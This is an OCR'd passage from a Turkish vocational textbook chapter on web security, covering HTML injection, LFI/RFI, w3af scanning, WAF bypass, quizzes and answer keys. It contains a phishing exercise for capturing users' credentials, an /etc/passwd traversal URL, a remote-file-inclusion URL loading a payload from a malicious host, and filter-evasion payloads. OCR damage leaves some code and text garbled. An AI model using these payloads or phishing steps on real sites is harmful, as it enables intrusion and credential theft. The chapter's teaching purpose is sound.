Hassas Oturum Verilerini Elde Etme: Bu saldiri tekniginde saldirgan, sitede hazir verilen form
elementlerini kullanarak veya kendi ekledigi HTML form kodlari ile bir form sayfasi olusturabilir
ve bu sayfaya girilen degerleri kendi local agina yonlendirip kullanici verilerini galmaya yonelik
bir saldiri gerceklestirebilir.

CSRF Karsiti islemlerin Kesfi: Saldirgan, siteler arasi istek sahteciligi olarak da bilinen bu saldiri
tlrdnd kullanabilmek igin CSRF karsiti belirtegleri sizdirmaya ¢alisabilir. Bu konuda saldirgan,
HTML kodlarindan ve HTML injection zafiyetinden yararlanabilir.

Tarayicida Depolanan Parolalari Elde Etme: HTML eklemeleri saldirganlarca tarayici parola
yOneticileri tarafindan otomatik olarak doldurulan formlari yerlestirmek icin de kullanilabilir.
Saldirgan uygun bir form eklemeyi basarirsa parola yoneticisi kullanici kimlik bilgilerini otomatik
olarak ekler.

Kodlariyazan kisinin 6zensiz, plansiz ve glivenlik risklerini hice sayarak web sitesini gelistirmesi
sonucu HTML injection zafiyeti ortaya cikar. PHP dilinin eski ve glivensiz sirimlerinin kullaniimasi,
tarayici eklentileri ve eklentilerin strimlerinin eski olmasi, HTML veri girisi alanlarinin gerekli
kontrollerden gegmeden kodlanmasi bu zafiyeti saldirganlarin kullanmasina sebebiyet verir.
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2. UYGULAMA

HTML Injection Zafiyetini Kullanarak Saldiri Yapma

Asagidaki islem adimlarina gére hedefteki bir sosyal paylasim web sitesinin HTML agiklariyla
kullanici verilerini elde ediniz.

1. Adim: Hedef sitede veri girisi yapilan alanlara HTML kodlari girerek, acik olup olmadigini
deneyiniz (Gorsel 10.10).

Gorsel 10.10: HTML agik kesfi

2. Adim: Hedef sitede veri girisi yapilan alanlara girilen kodlarin ¢alisip ¢alismadigini test
ediniz. Kodlar ¢alisiyorsa acik var demektir. isleme devam ediniz (Gorsel 10.11).

Gorsel 10.11: Girilen HTML kodlarinin galismasi ve agigin tespit edilmesi
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3. Adim: Sosyal paylasim web sitesinde HTML injection zafiyetini tespit ediniz. Bu acigi
kullanarak, siteye girecek kullanici bilgilerini ele gecirme amaclh bir metin gonderip (VIP Uyelik
hakki kazandiniz.) Kullanicilarin metindeki adrese giris yapmasini saglayiniz (Gorsel 10.12).

Ornek HTML Kodu : <h1><mark>KAZANDINIZ!!!</mark>VIP Uyelik Hakki Kazandiniz. Uyeligi-
nizi Ucretsiz VIP segenegine yikseltmek igin TIKLAYINIZ</h1><a href="https://fake-sitemiz.
com”>TIKLAYINIZ</a>

Gorsel 10.12: Uyelerin giris yaptig: sitede zafiyeti kullanma

4. Adim: Siteye giris yapan kisileri hazirladiginiz sahte siteye yonlendirerek kisilerin bilgi-
lerini girmesini isteyiniz ve verileri ele gegiriniz. Bu noktada saldirganin uygulayacagl sosyal
mihendislik yontemleri inanirhigini artirarak verilerin ele gegirilmesini saglar (Gorsel 10.13).

GIRIS YAP

Mail Adresi

Parola

Gorsel 10.13: Sahte giris paneli
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. SIRA SiZDE

Derslerde arkadaslarinizin HTML kodlari ile hazirladigi kullanici giris panellerinde HTML

injection zafiyeti olup olmadigini test ediniz. Agiklar varsa bunlari raporlayip arkadaslarinizin bu
tarz saldirilara karsi glivenlik 6nlemleri almalarini saglayiniz.

DEGERLENDIRME

Calismalariniz asagida yer alan kontrol listesine gore degerlendirilecektir.

KONTROL LiSTESI

OLCUTLER EVET HAYIR

10.3.4. LFI (Local File Inclusion) ve RFI (Remote File Inclusion)
Aciklari

LFI ve RFI, son kullanicinin izni olmayan dosyalara erisiminden dogan aciklardir. Bu iki agigin
kullanim sekli neredeyse aynidir.

LFlI'de amag; sunucudaki bir dosyaya yazilimin dogal yollarla izin vermedigi, herhangi bir
tiklama veya yonlendirme ile erisiimeyen, herhangi bir yerde acikca erisilemeyen dosyaya
erismektir.

RFl'de ise amag, sunucuda var olmayan bir dosyayi yazilimin izin verdigi veya vermedigi bir
form ekranindan ya da adres satirindan sunucuya yiklemek ve orada calishrmaktr.

Kullanim sekilleri ayni olsa da sonug¢ bakimindan ikisi arasinda belirgin farklar vardir. LFl ile
sunucuda bilinen bir dosyaya erisildigi veya dosya calistirildigi icin genellikle sunucudaki bir ayar
dosyas! okunup sunucudan sifreler veya degerli bilgiler elde edilir. RFI ise kullanicinin istedigi
dosyayi sunucuya ylkleyip, hedef isletim sisteminde calisacagini dislinerek hazirlanacak herhangi
bir zararli dosyanin sunucuda galistirilabilmesidir. Boylelikle sunucuya yetkili erisim kazanmak da
dahil olmak lzere istenen dosyayl okuma, herhangi bir dosyay! degistirme, silme, sunucudaki
kurulu baska programlari galistirabilme gibi bircok sonug elde edilebilir. Sonug olarak saldirgan,
sunucuyu kendi bilgisayari gibi kullanabilir. Her iki durumda da verilebilecek zararin biyiklGgi
saldirganin hayal giictine baghdir. Teknik bilgi ve kotl niyet ne kadar fazlaysa hem sunucuya hem
de sunucunun sahibi kisi veya kuruma verilebilecek zarar da o kadar fazla olur.
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. ORNEK

LFl agigina 6rnek icin bir galeri sitesi ve bu sitede iki tane link olsun.

Mdsteri Projeleri Sayfasi: https://www.ornek-sitem.com/?kaynak=musteri.php

Kendi Projelerimin Sayfasi: https://www.ornek-sitem.com/?kaynak=benim.php

iki linkin de ¢cok masum bir amaci oldugu distinilebilir. Burada énemli olan ‘kaynak’ adli
parametredir. Bu parametre ile “musteri.php” ve “benim.php” dosyalari ¢cagrilabilir. Kaynak kod
asagida verilmistir.

<?php
Sdosya = $_GET[‘kaynak’];
if(isset(“sayfalar/” . $dosya)) {
include(“sayfalar/” . $dosya);
}else {
include(“hata.php”);
}
>
LFl acig1 tam burada devreye girer. Kodda da gorildugi gibi “kaynak™ degeri ne olursa olsun
sadece sunucuda var olup olmadigr kontrol edilip, hemen altindaki “include(“sayfalar/” . Sdosya);"
satirinda baska bir kontrol yapilmadan dosya dogruca ¢agriimistir. Kot li niyetle distintlirse burada
var olmayan ama sunucuda var olan baska bir dosya ¢agrilabilir. Ornegin Linux sunucularda "/etc/
passwd™ dosyasi kullanici adlarini ve sifrelerini saklar. Bu dosyaya erisilirse sunucu sifresi elde
edilir. Bunun igin link asagidaki gibi degistirilip dosyaya erisim denenebilir.

https://www.ornek-sitem.com/?kaynak=../../../..[..[..[..]..]..] ..] ..] ..[etc/passwd

Burada 6nemli nokta, sunucuda var oldugu bilinen dosyanin konumu bilinerek veya tahmin
edilerek adres girilmesidir. Ornegin “passwd’ dosyasi her zaman */etc/passwd’ konumundadirama
site "/var/www/projeler/okul_projeleri/web_dersi/ornek-sitem.com" adindan yayin yapabilir. Bu
durumda “passwd” dosyasina erisebilmek icin kdk dizine kadar geri gidilmesi, ardindan tekrar
gercek yoldan ilerlenerek dosyaya erisilmesi gerekir. Ayni ydntemle projenin “config.php” dosyasi
veya 6nemli baska bir dosya okunabilir.

. ORNEK

RFI acgigina 6rnek icin URL'den dosya ¢agrilabilen bir link olsun. Asagidaki kodda goraldigi

tizere higbir kontrol yapilmadan S_GET ile gelen kaynak linki dogruca ¢alistiriimak istenmistir.
<?php
include($_GET[“kaynak”]);
>
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Bu durumda masum bir dosya ¢agirmak yerine asagidaki gibi bir ydntemle sunucuda hazirlanan
zararl dosya calistirilabilir.

https://www.ornek-sitem.com/?kaynak=http://www.zararli-yazilim-kaynagi.com/saldiri.php

Her ne kadar 6rnek kod ve anlatim PHP dilinde olsa da ayni durum diger diller i¢in de gecerlidir.
Bu saldiridan korunmanin yolu, génderilen tim dosyalarin hem yollarinin hem de igeriklerinin
¢ok kat1 kurallarla kontrol edilmesidir. LFI agiginda sadece izin verilen klasorlerdeki dosyalarin ve
dosya uzantilarinin cagrilmasi sart kosulabilir. RFl agiginda ise kullanilan yazilim dilinin ayarlarinda
uzaktan dosya galistiriimasi engellenebilir.

10.4. WEB UYGULAMALARINDA OTOMATIZE ARAGLARLA
ZAFIYET TESPITI

Web sitelerindeki zafiyetlerin tespiti gerek kisinin bilgisi dahilinde kod yapisini inceleyerek
veya cesitli kesif yontemleri ile manuel olarak gerekse otomatik test araclari ile saglanabilir.
Web sitelerine otomatize araclarla yapilan test sonuglarindaki zafiyetler tespit edilerek glivenlik
actklarinin kapatilmasi miimkdinddr. Sizma ve zafiyet testlerinde otomatize araglardan faydalanilir.

Web site aciklarini tespit etmek igin ¢ok fazla arag¢ vardir. Kali Linux isletim sisteminde de
bircok yonteme uygun arac¢ hazir olarak gelir. Kali Linux isletim sisteminde Uygulamalar, Kali
Linux, Web Applications, Web Vulnerability Scanner yolu izlenerek otomatize web site zafiyet
araclarina erismek miamkdndir. Kali Linux isletim sisteminde burpsuite, nikto, skipfish, w3af,
whatweb, wpscan gibi ¢esitliamaclara hizmet eden ve web aciklarini bulan otomatize araglar yer
alir (Gorsel 10.14).

Gorsel 10.14: Kali Linux otomatize web zafiyeti bulma araglarn
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Web sitesinde bulunan aciklarin tespitinde acigin kesfedilmesi en ¢ok vakit alan seylerden
biridir. Kullanicilar bu agiklari kesfetmedigi siirece diger asamaya gecemez. Gerek kot amacgh
kullanicilar gerekse sizma testi yapan ve glvenlik dnlemi almaya ¢alisan kullanicilar 6ncelikle
zafiyetlerin kesfini yapmalidirlar. Kesif icin yukarida da belirtildigi gibi bircok ara¢ bulunur. Bu
araglardan bazilarinin kullanim amaglari ve buldugu zafiyetler asagida verilmistir.

WafwO00f: Bu ara¢ bir web sayfasinin onlinde hangi giivenlik duvari oldugunun kesfinde
kullanilir. Glivenlik duvarinin hangi sistemlere sahip oldugu bilinirse ona gore daha 6zel saldirilar
gerceklestirilebilir. Bu noktada kullanicilar givenlik duvarlarinin ve yik dengeleyici cihazlarinin
glncelliginden ve giivenliginden emin olmalidir. K6t amach kullanicilar, kullanilan cihazi bu
yontemle belirler.

Whpscan: Bu araci kullanarak wordpress kurulan sitelerin agiklarini kesfetmek mimkinddr.
Saldirganlar, wpscan ve wpscan on-line aracini kullanarak wordpress agiklarini kesfeder ve bu
zafiyetleri kullanarak saldirilarda bulunur. Site 6zellikle wordpress sirimi ve onunla beraber
gelen agiklara karsi glivende tutulmali ve agiklar kapatilmahdir.

Nessus: Bu ara¢ daha cok i¢c agda kullanilir. Lisanslari alindigi takdirde mobil cihaz zafiyetle-
rinden uygulama zafiyetlerine kadar bir¢cok alanda tarama yapabilir. Sunucu agi ve son kullanici
aglar tek seferde nessus ile taratilip, zafiyetler 6grenilerek gerekli aksiyonlari (giincelleme vb.)
alinabilir. Nessus Professional (cretli bir programdir. Nessus Home ise Ucretsiz kullanilabilecek

surimuddar.

Nikto: Bu arag, web sunucularina karsi kapsamli testler gergeklestiren bir agik kaynak (GPL) web
sunucusu tarayicisidir. Ayrica birden c¢ok dizin dosyasinin varligi, HTTP sunucusu secenekleri gibi
sunucu yapilandirma ogelerini kontrol eder ve kurulu web sunuculari ile yazilimlari tanimlamaya
cahisir. Nikto araci ile web sitesi zafiyetleri ¢cok kolay tespit edilebilir.

Nmap: Ag kesfi ve glivenlik denetimi igin licretsiz ve agik kaynak bir aragtir. Birgok sistem ve ag
ybneticisi nmap aracini ag envanteri ve hizmet giincelleme programlarini yonetme veya hizmet
calisma slresiniizleme gibi gorevlericin de yararl bulur. Bu arag; agda hangi bilgisayarlarin mevcut
oldugunu, bu bilgisayarlarin hangi hizmetleri sundugunu, hangi isletim sistemlerini ¢alistirdigini,
ne tir paket filtrelerinin veya glvenlik duvarlarinin kullanildigini ve dizinelerce baska ozelligi
belirlemek icin ham IP paketlerini kullanir. Nmap, biyik aglari hizla taramak igin tasarlanmistir.

Skipfish: Google tarafindan desteklenen ve web uygulamasi giivenlik testlerinde kullanilan
araclardandir. Glivenlik zafiyetlerinin yani sira sozliik tarafli taramalar da gerceklestirebilir.

W3af: Web uygulamalari igin kullanilan saldiri ve denetim programidir. Bu aragla web sitesi
analizi ve zafiyet taramasi yapilabilir.
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10.4.1. W3af Aracinin Kullanimi

W3af araci kullanilarak web sitelerinde zafiyet taramasinin otomatik bir sekilde yapilmasi
saglanabilir. Bu aracla bircok zafiyetin kesfedilmesi mimkindir. XSS aciklar, SQL injection
aciklari, SSI detection, LFI aciklari, RFI agiklari, Buffer Overflow agiklari gibi bircok acik w3af ile
tespit edilebilir.

W3af araci, Kali Linux isletim sisteminde hazir olarak gelir. Uygulamalar, Kali Linux, Web
Applications, Web Vulnerability Scanner, w3af yolu izlenerek veya uc¢bhirime w3af yazilarak acilir.
Uygulama agildiktan sonra tarama yapilacak web sitesi yazilarak zafiyetlerin kesfine baslanabilir.

. 3. UYGULAMA

W3af Araciyla Web Site Zafiyetlerinin Kesfi

Asagidaki islem adimlarina gére meslek.eba.gov.tr adresinin zafiyet taramasini yapiniz.

1. Adim: Kali Linux isletim sistemini kullanarak w3af aracini aginiz ve zafiyet taramasini
otomatize yapmak icin hizli tarama alanini tiklayarak meslek.eba.gov.tr’yi hedef adres kismina
giriniz (Gorsel 10.15).

Gorsel 10.15: w3af araciyla zafiyet taramasi
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2. Adim: Taramanin sonuglanmasini bekleyiniz ve sonuglari Log, Vulnerabilities alanindan
gorintileyiniz. Taramanin sonucunda hig agik olmadigini dogrulayiniz (Gorsel 10.16).

Gorsel 10.16: Sitede bulunan agiklarin gériintiilenmesi

3. Adim: Tarama sonucunda bulunan agiklari gérintileyiniz (Gorsel 10.17).

Gorsel 10.17: Bulunan zafiyetlerin gériintiilenmesi
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. SIRA SiZDE

Cesitli web sitelerinin zafiyet taramalarini w3af araci ile yaparak sonuglarini degerlendiriniz.

Hangi glivenlik dnlemlerinin alinabilecegini tespit ediniz.

DEGERLENDIRME

Calismalariniz asagida yer alan kontrol listesine gore degerlendirilecektir.

KONTROL LiSTESI

OLCUTLER EVET HAYIR

10.5. WEB UYGULAMALARI GUVENLIK DUVARI (WAF) VE
UYGULAMA FIiLTRELERINi ATLATMA

Web uygulamalarini gelistiriciden bagimsiz olarak saldirilara karsi korumak igin Web
Application Firewall (WAF), bir baska deyisle web uygulamalari givenlik duvari kullanilir. Bu
sayede 6zel bir koruma saglanabilir. Normal givenlik duvarlari sadece gelen ve giden paketleri
kontrol eder, ona gore islem yapar. WAF ise normal glivenlik duvarlarinin yaptigi isin yaninda
gelen ve giden paketlerde zararl icerikler olup
olmadiginin da kontroliini saglar. Uygulama
gelistiriciler kod yapilarini hazirlarken veri giris
alanlarini  filtreleyerek web uygulamalarini
glvenli hale getirirler. Bunun yaninda uygulama
katmaninda bulunabilecek bir WAF ile de
glvenliklerini saglamak isterler. WAF disinda
IPS sistemleri de kullanilir. IPS’ler saldiri tespiti,
analizi ve engellenmesi i¢in kullanilir. Gelen ve
giden paketlere bakilarak, zararl bir igerik olup
olmadigi kontrol edilir. Uyarinin yaninda cesitli
aksiyonlar da alir. Zararli icerik tespit edilmesi
durumunda trafik kesilebilir ve engelleme islemi

yapilabilir (Gorsel 10.18). Gorsel 10.18: WAF yapisi
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Alinan tim 6nlemlere ragmen yanlis yapilandirmalar, korumanin devre disi birakilmasi veya
geleneksel giivenlik duvari gibi sadece kara listeye dayali bir glivenlik dnlemi yapilandiriimasinin
olmasi bu sistemlerin atlatilmasina sebebiyet verebilir. Sistemi atlatmak igin kullanilabilecek
yontemlerden bazilari asagida verilmistir.

10.5.1. SSL Kullanarak WAF Atlatma

WAF yapilandirmalarinda siklikla SSL yapilandirmalari dogru yapilmaz veya SSL servisleri hig
yapilandiriimaz. Bu bilgi dahilinde cesitli yontemler kullanilarak WAF/IPS sistemlerinin atlatilmasi
mimkinddr.

SSL, kullanicilar ile web uygulamalari arasindaki trafigi sifreleyerek glivenli bir ortam saglayan
sistemdir. SSL, glivenli veri iletimi saglamak i¢in kullanici ve sunucu arasindaki trafigi sifreler. Bu
kanaldan aktarilan saldiri aktivitelerinin gorilebilmesi icin SSL trafiginin bu sistemler Uzerinde
sonlandiriimasi veya trafigin acildiktan sonra sunuculara yollandigi bir bolgede (SSL offloader
veya reverse Proxy sistemleri ile sunucular arasinda) konumlandiriimasi gerekir. Dolayisiyla bu
sekilde konumlandirilmayan saldiri tespit sistemleri, SSL trafigini analiz edemez ve saldirilari
engelleyemez. Gerekli ayarlarin yapilip yapilmadigini anlamak icin kullanilabilecek en basit
yontem, saldiri tespit sistemi tarafindan engellenecegi bilinen bir istegin sunucuya hem HTTP hem
de HTTPS veya SSL aktif edilmis sistem {izerinden génderilmesidir. Ornegin GET /../../../../../etc/
passwd HTTP/1.0 dizin atlatma teknigini kullanan bir saldiriimzasi ile bu islem gerceklestirilebilir.
ilgili istek her iki kanaldan génderildiginde de engellenebiliyorsa gerekli ayarlar yapilmis demektir.
Windows isletim sisteminde putty adli uygulama kullanilarak SSH tiinelleme yapilabilir. Bunun
yani sira sshuttle adli aragla SSH tiinelleme islemi basit ve hizl bir sekilde gerceklestirilebilir.

10.5.2. Giiglii SSL imzalariyla Sistemleri Atlatma

Sunucu Uzerinde destegi bulunan SSL Chip’lerin kullanimi durumunda glvenlik sistemini
atlatmak miimkindir. Bunun igin Diffie-Hellman anahtar degisimi kullanilabilir. Bu, kriptografik
anahtarlarin degisiminde kullanilan 6zel bir yontemdir ve kriptografi alaninda uygulanan ilk
pratik anahtar degisimi 6rneklerinden biridir. Diffie-Hellman anahtar degisimi metodu, iki tarafin
glivensiz medya Uzerinden karsilikl ortak gizli anahtar elde etmelerine olanak saglar. Bu anahtar
daha sonra bir simetrik anahtar sifre ile glivenli olmayan kanaldan iletisimi sifrelemek igin
kullanilabilir.

10.5.3. Filtreleme ifadelerini Degistirmek

WAF sistemleri genellikle énceden olusturulmus kara liste (istek icinde SELECT ifadesi
geciyorsa engelle.) ve beyaz liste (Parametre degeri yalnizca 0 ve 65535 arasinda olabilir,
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bu kurala uymayan bir istek geliyorsa engelle.) ile gelen istekleri karsilastirarak, bir saldiri
olup olmadigini tespit eder. Ozellikle kara liste kontrolleri belirli ifadeler olusmasi durumunda
saldirilari tespit edecegi icin sadece ', ", >, <, / gibi ifadeleri gonderildiginde bu tip istekleri
engelleyemeyebilir. Ornegin asagidakigibi biristek giivenlik kontrollerine takilirken parametrelerin
sonunda yapilacak ufak degisikliklerle WAF atlatmak mimkdnddr.

WAF’a Yakalanan istek

http://www.ornek-site.com.tr/giris.php?id=123"+union+selec+1,2,3--

WAF’a Yakalanmayan istek

http://www.ornek-site.com.tr/giris.php?id=123’

Boylelikle sisteme SQL injection islemi yapilip yapilamayacag tespit edilebilir.

10.5.4. HTTP Parametre Degisikligiyle Sistemi Atlatma

Saldirgan, HTML parametrelerini degistirerek sistemi atlatabilir. Sistem genellikle bazi
parametreleri engellerken bazilarini iceriye alabilir. Bu sayede sistem atlatilabilir.

WAF’a Yakalanan istek

http://www.ornek-site.com.tr/giris.php?id=123

WAF’a Yakalanmayan istek

http://www.ornek-site.com.tr/giris.php?id=789

Sistemde kullanilan sunucu tirlerine gore sistemlerin verecegi tepkiler degisir. Bu durumda
hangi sistemin kullanildiginin tespitinin ardindan filtreleme islemi o sunucuya gore degistiril-
melidir.

10.5.5. Basit Karmasiklastirma Teknikleriyle Atlatma

Ozellikle uygulama gelistiriciler bazi problemleri engellemek icin belirli anahtar kelimelere
gore filtreleme fonksiyonlari hazirlayabilir. Ornegin Cross-Site Scripting saldirilarini engellemek
icin script, alert, src; SQL Injection saldirilarini engellemek igin ise select, union, from gibi ifadeler
gecen istekleri filtreleyen veya bunlari igerikten silerek ¢oziim Gretmeye ¢alisan fonksiyonlarla
sikca karsilasilir ancak filtreleme fonksiyonlarinda gerekli kontrollerin diizglin yapilmamasi nedeni
ile saldiri ifadeleri icinde bilyik ve kiigiik harflerin karisik kullanimiyla gerceklestirilen saldirilarda
basari elde edilebilir.

344 I Web Glvenligi



Ornegin bu tarz filtrelerde <script>alert(123)<script> gibi bir istek engellenebilirken, gerekli
kontrollerin diizglin yapilmamasi durumunda <ScriPt>aLerT(123)</sCRipt> gibi blyik ve kiclk
harfler bir arada kullanilarak karmasiklastiriimis bir istek filtreden kagabilir.

10.5.6. Encoding Tekniklerini Kullanmak

Kara listeye alma temelli kontrolleri atlatmak icin kullanilabilecek bir diger yontem, saldiri
isteklerini kismen veya tamamen sunucu tarafindan desteklenen encoding teknikleri ile
degistirerek yollamaktir. Ornegin ¢ogu uygulamada web uygulama problemlerinin ortaya
¢tkmasina neden olan ‘, “, <, >, /, ;, |, \ gibi karakterlerin filtrelendigi veya bu karakterlerinin
kullanilmasi durumunda onlerine \ karakteri eklenerek (escaping) veya c¢iktlarda encode
edilerek islendigi gorilir ancak bu islem sadece bu karakterlerin normal veya birkag farkl

gosterimiicin gerceklestirilmesi durumunda degisik encoding yontemleriile kontroller atlatilabilir.

- ORNEK

‘ karakterinin farkl gosterimleri asagida verilmistir.

URL Encode -%27

Double URL Encode -%2527
UTF-8 (2 byte) -%c0%a7

UTEF-8 (JAVA) -\uc0a7

HTML Entity -&apos;

HTML Entity Number -&#27;
Decimal -&#39

Unicode URL Encoding -%u0027
Base64 -Jw==

Guvenlik filtreleri tarafindan yakalanan saldiri ifadeleri degisik encoding teknikleri ile birlikte
kullanilarak uygulamanin ve web sunucusunun da izin vermesi durumunda bu kontrollerin
atlatilmasi mimkiin olabilir.

BUtin bu atlatma yontemlerinin yaninda ayni islevi goren farkli mantiksal operatérler
kullanmak, ayni islevleri géren farkli fonksiyonlar kullanmak, script tag isaretleri olmadan XSS
zafiyetini kullanacak saldirilari gerceklestirmek miumkanddar.

Web Givenligi

345



OLGME VE DEGERLENDIRME

A) Asagidaki cimlelerde parantez igine yargilar dogru ise “D”, yanlis ise “Y” yaziniz.

1.( ) Web servisleri, HTTP protokolu kullanilarak masalstii, mobil veya diger sistemlere hiz-
met veren yapilardir.

2.( ) Proxyyazilimlarini kullanarak, web servislerine ulasmadan 6nce araya girip trafigin ince-
lenmesi yoluyla kesif yapmak mimkunddr.

3.( ) WSDL, SOAP web servisleri icin gerekli tanimlamalari yapan bir dildir.
4.( ) Yonlendirme agiklari 6nemli ve sik kullanilan bir web uygulama glivenligi zafiyetidir.

5. ( ) XSS zafiyeti; kullanicilarin tarayicisinda HTML, CSS, JavaScript ile hazirlanmis zararli
kodlarin izinsiz galistirilmasina olanak saglayan bir agiktir.

B) Asagidaki sorulari dikkatlice okuyarak dogru segenegi isaretleyiniz.

6. Asagidakilerden hangisi wordpress sitelerinin agiklarini bulan aragtir?

A) DNS Finder

B) Wpscan

C) DHCP Spoofing
D) Bomb Suite

E) RFI Searching

7. Asagidakilerden hangisi XSS zafiyetini kullanarak yapilabilecek saldirilardan degildir?

A) Cerez bilgilerini ele gecirme

B) DHCP ile IP almasini engelleme

C) Web sayfasini baska sayfaya yonlendirme

D) Keylogger olarak kullanma

E) Farkli bir sunucudan zararh kodlari ¢alistirma

8. Asagidakilerden hangisi web sitelerini test icin kullanilan araglardan biri degildir?

A) Burpsuite

B) RESTclient

C) SoapUl

D) WebSiteStorm
E) Wfuzz
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9. Asagidaki araglardan hangisi web uygulamalarinin otomatize kesfini yapar?

A) W3af

B) Perl

C) Forest Result
D) WebSiteFinder
E) SQLlite

10. Web uygulama giivenlik cihazlarini atlatabilmek icin asagidaki islemlerden hangisi
kullanilabilir?

A) Kod diizenleme

B) Phishing

C) Sosyal mihendislik

D) SQL injection

E) Encoding
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CEVAP ANAHTARLARI

1. OGRENME BiRiMiNiN CEVAP ANAHTARI

A)1.Y 2.D 3.Y 4.Y5.D

B) 6. keylogger 7. USOM 8. erisilebilirlik

C)9.A 10.A 11.C 12.E 13.D 14.D 15.E 16.C 17.B

2. OGRENME BiRIMiNiN CEVAP ANAHTARI

A)1.D 2.Y 3.D 4.D

B) 5. nmap 6. shodan 7. dork

C)8.B 9.A 10.A 11.D 12.D 13.D

3. BGRENME BiRiMiNiN CEVAP ANAHTARI
A)1.D 2.Y3.Y 4.D 5.D

B) 6. ic ag testi 7. dis ag testi 8. web uygulama sizma testi 9.mobil uygulama sizma testi
10. sosyal mihendislik testleri 11. backdoor 12. rootkit

C)13.A 14.D 15.E 16.D 17.B 18.C 19.D 20.D 21.C 22.A 23.B 24.C

4. OGRENME BiRiMiNiN CEVAP ANAHTARI

A)1.D 2.D 3.Y 4.D 5.Y

B) 6. wireshark 7. tcpdump 8. MAC flooding

C)9.B 10.D 11.B

5. OGRENME BiRiMiNiN CEVAP ANAHTARI

A)1.D 2.D 3.Y 4.D

B)5.A 6.E 7.E 8.E 9.C 10.B
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6. OGRENME BiRiMiNiN CEVAP ANAHTARI

A)1.D 2.D 3.Y 4.Y 5.D
B)6.E 7.A 8.B 9.B 10.C

7. OGRENME BiRiMiNiN CEVAP ANAHTARI

A)1.D 2.D 3.Y 4.Y 5.D

B)6.B 7.D 8. A 9.D 10.C

8. OGRENME BiRiMiNiN CEVAP ANAHTARI

A)1.D 2.D 3.Y 4.Y

B)5.E 6.E 7.E 8.A 9.E 10.B 11.E 12.B 13.D

9. BGRENME BiRiMiNiN CEVAP ANAHTARI

A)1.D 2.Y 3.Y 4.D 5.D

B) 6. kablosuz ag 7. WPA2 8. monitér 9. wireshark 10. ettercap 11. WPS

C)12.E 13.A 14.B 15.E 16.B 17.D 18.E 19.C 20.E

10. BGRENME BiRiMiNiN CEVAP ANAHTARI

A)1.D 2.Y 3.D 4.D 5.D

B)6.B 7.B 8.D 9.A 10.E
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